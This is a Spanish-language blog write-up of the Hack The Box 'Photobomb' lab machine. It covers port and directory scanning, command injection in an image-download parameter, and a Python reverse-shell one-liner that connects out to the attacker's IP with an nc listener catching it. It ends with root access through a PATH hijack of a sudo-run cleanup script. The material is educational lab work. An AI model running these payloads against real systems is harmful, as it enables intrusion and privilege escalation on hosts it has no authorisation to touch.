sábado, 11 de febrero de 2023

HTB Photobomb


 

Primero se hace le escaneo de puertos.
$ sudo nmap -sV -Pn -A -O -oN photobomb 10.10.11.182
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-20 13:09 -05
Nmap scan report for 10.10.11.182
Host is up (0.37s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
|   256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_  256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)

 

En este caso se añadira  photobomb.htb a hosts
vi /etc/hosts
ip    photobomb.htb

 

Ahora llendo a  photobomb.htb en el navegador se encuentra esto.


Ahora se escanea los directorios
$ gobuster dir -u http://photobomb.htb/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ===============================================================
http://photobomb.htb/printer              (Status: 401) [Size: 188]
http://photobomb.htb/printers             (Status: 401) [Size: 188]
http://photobomb.htb/printerfriendly      (Status: 401) [Size: 188]
http://photobomb.htb/printer_friendly     (Status: 401) [Size: 188]
http://photobomb.htb/printer_icon         (Status: 401) [Size: 188]
http://photobomb.htb/printer-icon         (Status: 401) [Size: 188]
http://photobomb.htb/printer-friendly     (Status: 401) [Size: 188]
http://photobomb.htb/printerFriendly      (Status: 401) [Size: 188]

Sin embargo, no se encontro otra ruta. Volviendo a la pagina principal al buscar en el codigo fuente.

Luego dirigirse al sitio donde esta el script.


Al usar el usuario y la contraeña que tenia el script en /printer, se llega a este sitio.

Con la ayuda del buen burpsuit, se intersepto las peticiones para saber detalles de como procesa los parametros de descarga de las imagenes.


En los parametros, se modifico ingresando e ingreso uno extra esperando que hubiera alguna reaccion.
photo=mark-mc-neill-4xWHIpY2QcY-unsplash.jpg&filetype=jpg;{HERE}&dimensions=3000x2000

Por ello se intenta que haga una peticion a local, creando un servidor http con python.
$ sudo python3 -m http.server 80

Se hace una llamada al servidor recien creado y hay respues, asi que es hora de pasar una revershell como parametro, pero antes tener un puerto escuchando.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.48",4567));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
 

Ahora se tiene acceso al servidor.

$ nc -lvnp 4567                                                                                      
listening on [any] 4567 ...
connect to [10.10.16.48] from (UNKNOWN) [10.10.11.182] 40402
$ id
id
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)

Encontrar la primer flag es solo regresar un nivel en los archivos.

$ cd ..
cd ..
$ ls
ls
photobomb  user.txt
$ cat user.txt  
cat user.txt
********************************

Lo siguiente es en contrar una forma de escalar privilegios.
$ sudo -l
sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh


Se puede ver que ese archivo esta corriendo con permisos de root, al inspeccionarlo, se encuntra esto.
cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

Ahora aprovechando la vulnerabilidad de este programa que esta corriendo con permisos root, se va a pasar una shell que sustituira el programa find, y a su vez, dar una consola con este permiso.
$ id
id
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)
$ echo bash > find
echo bash > find
$ chmod +x find
chmod +x find
$ sudo PATH=$PWD:$PATH /opt/cleanup.sh
sudo PATH=$PWD:$PATH /opt/cleanup.sh
root@photobomb:/home/wizard/photobomb# id
id                                                                                                                                                                   
uid=0(root) gid=0(root) groups=0(root)
root@photobomb:/home/wizard/photobomb# cat /root/root.txt
cat /root/root.txt
*******************************